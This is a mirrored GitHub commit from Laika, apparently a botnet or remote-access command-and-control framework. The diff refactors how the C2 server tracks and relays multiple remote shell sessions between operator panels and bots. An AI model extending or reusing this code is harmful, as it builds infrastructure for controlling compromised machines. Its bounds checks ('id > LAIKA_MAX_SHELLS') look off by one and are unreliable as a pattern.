1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-11-27 21:41:04 +00:00

Shell: minor refactoring, cnc supports mutiple shells per auth clients

- while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time.
	this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID
This commit is contained in:
2022-05-20 14:10:53 -05:00
parent e3f6b76e35
commit 0fdca35f87
8 changed files with 173 additions and 137 deletions

View File

@@ -129,7 +129,7 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
laikaC_handleAuthenticatedShellClose,
0,
sizeof(uint32_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
laikaC_handleAuthenticatedShellData,
@@ -199,7 +199,7 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) {
void laikaC_onAddPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i;
((struct sLaika_peerInfo*)peer->uData)->completeHandshake = true;
GETPINFOFROMPEER(peer)->completeHandshake = true;
/* add peer to panels list (if it's a panel) */
if (peer->type == PEER_AUTH)
@@ -218,18 +218,17 @@ void laikaC_onRmvPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) {
int i;
/* ignore uninitalized peers */
if (!((struct sLaika_peerInfo*)peer->uData)->completeHandshake)
if (!(GETPINFOFROMPEER(peer)->completeHandshake))
return;
/* close any open shells */
laikaC_closeShells(peer);
switch (peer->type) {
case PEER_BOT: {
/* close any open shells */
laikaC_closeBotShells(peer);
/* TODO */
break;
}
case PEER_AUTH: {
laikaC_closeAuthShell(peer);
/* remove peer from panels list */
laikaC_rmvAuth(cnc, peer);
break;
@@ -383,7 +382,7 @@ struct sLaika_peer *laikaC_getPeerByPub(struct sLaika_cnc *cnc, uint8_t *pub) {
}
bool sweepPeers(struct sLaika_peer *peer, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)peer->uData;
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
long currTime = laikaT_getTime();

View File

@@ -41,22 +41,6 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
void laikaC_closeAuthShell(struct sLaika_peer *auth) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)auth->uData;
if (!aInfo->shellBot)
return;
/* forward SHELL_CLOSE to bot */
laikaS_startOutPacket(aInfo->shellBot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&aInfo->shellBot->sock, &aInfo->shellID, sizeof(uint32_t));
laikaS_endOutPacket(aInfo->shellBot);
/* rmv shell */
laikaC_rmvShell((struct sLaika_botInfo*)aInfo->shellBot->uData, auth);
aInfo->shellBot = NULL;
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
@@ -86,15 +70,11 @@ void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_
void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
uint16_t cols, rows;
/* sanity check, make sure shell isn't already open */
if (aInfo->shellBot)
LAIKA_ERROR("laikaC_handleAuthenticatedShellOpen: Shell already open!\n");
/* read pubkey & find peer */
laikaS_read(&authPeer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
if ((peer = laikaC_getPeerByPub(cnc, pubKey)) == NULL)
@@ -107,27 +87,23 @@ void laikaC_handleAuthenticatedShellOpen(struct sLaika_peer *authPeer, LAIKAPKT_
laikaS_readInt(&authPeer->sock, &cols, sizeof(uint16_t));
laikaS_readInt(&authPeer->sock, &rows, sizeof(uint16_t));
/* link shells */
aInfo->shellBot = peer;
aInfo->shellID = laikaC_addShell((struct sLaika_botInfo*)peer->uData, authPeer);
/* forward the request to open a shell */
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&peer->sock, &aInfo->shellID, sizeof(uint32_t));
laikaS_writeInt(&peer->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&peer->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(peer);
/* open shell */
laikaC_openShell(peer, authPeer, cols, rows);
}
void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_shellInfo *shell;
uint32_t id;
/* an AUTH_SHELL_CLOSE can be sent after the shell has already been closed, so don't error just ignore the packet */
if (aInfo->shellBot == NULL)
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
/* ignore malformed packet */
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaC_closeAuthShell(authPeer);
laikaC_closeShell(shell);
}
/* improves readability */
@@ -139,16 +115,23 @@ void laikaC_handleAuthenticatedShellClose(struct sLaika_peer *authPeer, LAIKAPKT
void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t data[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)uData;
struct sLaika_cnc *cnc = aInfo->info.cnc;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_cnc *cnc = pInfo->cnc;
struct sLaika_peer *peer;
struct sLaika_shellInfo *shell;
uint32_t id;
/* sanity check, make sure shell is open */
if ((peer = aInfo->shellBot) == NULL)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Shell not open!\n");
if (sz-sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH || sz <= sizeof(uint32_t))
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Wrong data size!\n");
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH)
LAIKA_ERROR("laikaC_handleAuthenticatedShellData: Data too big!\n");
laikaS_readInt(&authPeer->sock, &id, sizeof(uint32_t));
sz -= sizeof(uint32_t);
/* ignore malformed packet */
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
peer = shell->bot;
/* read data */
laikaS_read(&authPeer->sock, data, sz);
@@ -161,12 +144,12 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
*/
/* first part */
SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &aInfo->shellID);
SENDSHELLDATA(peer, data, sz-sizeof(uint32_t), &shell->botShellID);
/* second part */
SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &aInfo->shellID);
SENDSHELLDATA(peer, data + (sz-sizeof(uint32_t)), sizeof(uint32_t), &shell->botShellID);
} else {
SENDSHELLDATA(peer, data, sz, &aInfo->shellID);
SENDSHELLDATA(peer, data, sz, &shell->botShellID);
}
} else if (authPeer->osType == OS_LIN && peer->osType == OS_WIN) { /* convert data if its linux -> windows */
uint8_t *buf = laikaM_malloc(sz);
@@ -190,12 +173,12 @@ void laikaC_handleAuthenticatedShellData(struct sLaika_peer *authPeer, LAIKAPKT_
buffers > LAIKA_SHELL_DATA_MAX_LENGTH. so we send it in chunks) */
i = count;
while (i+sizeof(uint32_t) > LAIKA_SHELL_DATA_MAX_LENGTH) {
SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &aInfo->shellID);
SENDSHELLDATA(peer, buf + (count - i), LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &shell->botShellID);
i -= LAIKA_SHELL_DATA_MAX_LENGTH;
}
/* send the leftovers */
SENDSHELLDATA(peer, buf + (count - i), i, &aInfo->shellID);
SENDSHELLDATA(peer, buf + (count - i), i, &shell->botShellID);
laikaM_free(buf);
}
}

View File

@@ -2,12 +2,18 @@
#include "cnc.h"
#include "cpeer.h"
#include "lerror.h"
/* ===============================================[[ Peer Info ]]================================================ */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
pInfo->shells[i] = NULL;
}
pInfo->cnc = cnc;
pInfo->lastPing = laikaT_getTime();
pInfo->completeHandshake = false;
@@ -16,19 +22,15 @@ struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_botInfo *laikaC_newBotInfo(struct sLaika_cnc *cnc) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_botInfo));
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
bInfo->shellAuths[i] = NULL;
}
/* TODO */
return bInfo;
}
struct sLaika_authInfo *laikaC_newAuthInfo(struct sLaika_cnc *cnc) {
struct sLaika_authInfo *aInfo = (struct sLaika_authInfo*)allocBasePeerInfo(cnc, sizeof(struct sLaika_authInfo));
aInfo->shellBot = NULL;
/* TODO */
return aInfo;
}
@@ -37,102 +39,121 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo
laikaM_free(pInfo);
}
/*int laikaC_findAuthShell(struct sLaika_botInfo *bot, uint32_t id) {
struct sLaika_peer *auth;
struct sLaika_authInfo *aInfo;
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((auth = bot->shellAuths[i]) != NULL && (aInfo = auth->uData)->shellID == id)
return i;
}
/* ==============================================[[ Shell Info ]]================================================ */
return -1;
}*/
int findOpenShellID(struct sLaika_peerInfo *pInfo) {
int id;
int laikaC_addShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) {
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if (bInfo->shellAuths[i] == NULL) {
bInfo->shellAuths[i] = auth;
return i;
}
for (id = 0; id < LAIKA_MAX_SHELLS; id++) {
if (pInfo->shells[id] == NULL)
return id;
}
return -1;
}
void laikaC_rmvShell(struct sLaika_botInfo *bInfo, struct sLaika_peer *auth) {
int i;
struct sLaika_shellInfo* laikaC_openShell(struct sLaika_peer *bot, struct sLaika_peer *auth, uint16_t cols, uint16_t rows) {
struct sLaika_shellInfo *shell = (struct sLaika_shellInfo*)laikaM_malloc(sizeof(struct sLaika_shellInfo));
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if (bInfo->shellAuths[i] == auth) {
bInfo->shellAuths[i] = NULL;
return;
}
}
shell->bot = bot;
shell->auth = auth;
shell->cols = cols;
shell->rows = rows;
/* find open ids for each peer */
if ((shell->botShellID = findOpenShellID(GETPINFOFROMPEER(bot))) == -1)
LAIKA_ERROR("Failed to open new shellInfo for bot %p, all shells are full!\n", bot);
if ((shell->authShellID = findOpenShellID(GETPINFOFROMPEER(auth))) == -1)
LAIKA_ERROR("Failed to open new shellInfo for auth %p, all shells are full!\n", auth);
/* assign ids */
GETPINFOFROMPEER(bot)->shells[shell->botShellID] = shell;
GETPINFOFROMPEER(auth)->shells[shell->authShellID] = shell;
/* send SHELL_OPEN packets */
laikaS_startOutPacket(bot, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_writeInt(&bot->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&bot->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(bot);
laikaS_startOutPacket(auth, LAIKAPKT_SHELL_OPEN);
laikaS_writeInt(&auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_writeInt(&auth->sock, &cols, sizeof(uint16_t));
laikaS_writeInt(&auth->sock, &rows, sizeof(uint16_t));
laikaS_endOutPacket(auth);
return shell;
}
void laikaC_closeBotShells(struct sLaika_peer *bot) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)bot->uData;
struct sLaika_peer *auth;
void laikaC_closeShell(struct sLaika_shellInfo *shell) {
/* send SHELL_CLOSE packets */
laikaS_startOutPacket(shell->bot, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->bot->sock, &shell->botShellID, sizeof(uint32_t));
laikaS_endOutPacket(shell->bot);
laikaS_startOutPacket(shell->auth, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_endOutPacket(shell->auth);
/* unlink */
GETPINFOFROMPEER(shell->bot)->shells[shell->botShellID] = NULL;
GETPINFOFROMPEER(shell->auth)->shells[shell->authShellID] = NULL;
/* free */
laikaM_free(shell);
}
void laikaC_closeShells(struct sLaika_peer *peer) {
struct sLaika_peerInfo *pInfo = GETPINFOFROMPEER(peer);
int i;
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
if ((auth = bInfo->shellAuths[i]) != NULL) {
/* forward to SHELL_CLOSE to auth */
laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
bInfo->shellAuths[i] = NULL;
}
if (pInfo->shells[i])
laikaC_closeShell(pInfo->shells[i]);
}
}
/* ============================================[[ Packet Handlers ]]============================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_cnc *cnc = bInfo->info.cnc;
struct sLaika_peer *auth;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
/* ignore packet if shell isn't open */
if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL)
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
/* forward SHELL_CLOSE to auth */
laikaS_emptyOutPacket(auth, LAIKAPKT_SHELL_CLOSE);
/* close shell */
((struct sLaika_authInfo*)(auth->uData))->shellBot = NULL;
bInfo->shellAuths[id] = NULL;
laikaC_closeShell(shell);
}
void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData;
struct sLaika_peer *auth;
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;
struct sLaika_shellInfo *shell;
uint32_t id;
/* ignore packet if malformed */
if (sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t))
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t));
/* ignore packet if shell isn't open */
if (id > LAIKA_MAX_SHELLS || (auth = bInfo->shellAuths[id]) == NULL)
if (id > LAIKA_MAX_SHELLS || (shell = pInfo->shells[id]) == NULL)
return;
laikaS_read(&peer->sock, (void*)buf, sz-sizeof(uint32_t));
/* forward SHELL_DATA packet to auth */
laikaS_startVarPacket(auth, LAIKAPKT_SHELL_DATA);
laikaS_write(&auth->sock, buf, sz-sizeof(uint32_t));
laikaS_endVarPacket(auth);
laikaS_startVarPacket(shell->auth, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&shell->auth->sock, &shell->authShellID, sizeof(uint32_t));
laikaS_write(&shell->auth->sock, buf, sz-sizeof(uint32_t));
laikaS_endVarPacket(shell->auth);
}